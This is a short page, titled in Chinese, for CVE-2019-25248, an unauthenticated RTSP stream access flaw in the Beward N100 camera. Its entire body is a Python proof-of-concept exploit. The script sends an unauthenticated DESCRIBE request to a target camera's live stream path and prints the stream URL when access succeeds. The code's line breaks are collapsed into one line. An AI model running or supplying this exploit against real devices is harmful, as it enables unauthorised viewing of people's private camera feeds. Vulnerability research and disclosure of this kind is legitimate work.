CVE-2019-25248: Beward N100摄像头未授权访问视频流漏洞

#!/usr/bin/env python3 # CVE-2019-25248 PoC - Beward N100 Unauthenticated RTSP Stream Access # Usage: python3 cve-2019-25248.py <target_ip> import sys import socket def exploit_beward_rtsp(target_ip, rtsp_port=554): """ Exploit for CVE-2019-25248: Beward N100 Unauthenticated RTSP Stream Access This PoC demonstrates how to access RTSP stream without authentication """ print(f"[*] Target: {target_ip}:{rtsp_port}") print(f"[*] Exploiting CVE-2019-25248...") # Construct RTSP DESCRIBE request without authentication rtsp_describe = f"DESCRIBE rtsp://{target_ip}:{rtsp_port}/live/ch00_0 RTSP/1.0\r\n" rtsp_describe += "CSeq: 1\r\n" rtsp_describe += "User-Agent: Python-RTSP-Client\r\n" rtsp_describe += "Accept: application/sdp\r\n" rtsp_describe += "\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, rtsp_port)) print("[*] Sending RTSP DESCRIBE request without authentication...") sock.send(rtsp_describe.encode()) response = sock.recv(4096) print(f"[*] Received response ({len(response)} bytes)") print(response.decode('utf-8', errors='ignore')) if "200 OK" in response.decode('utf-8', errors='ignore'): print("[+] SUCCESS: Unauthenticated access to RTSP stream confirmed!") print(f"[+] Video stream URL: rtsp://{target_ip}:{rtsp_port}/live/ch00_0") return True else: print("[-] FAILED: Could not access stream") return False except socket.timeout: print("[-] ERROR: Connection timeout") return False except socket.error as e: print(f"[-] ERROR: {e}") return False finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [rtsp_port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 554 exploit_beward_rtsp(target, port)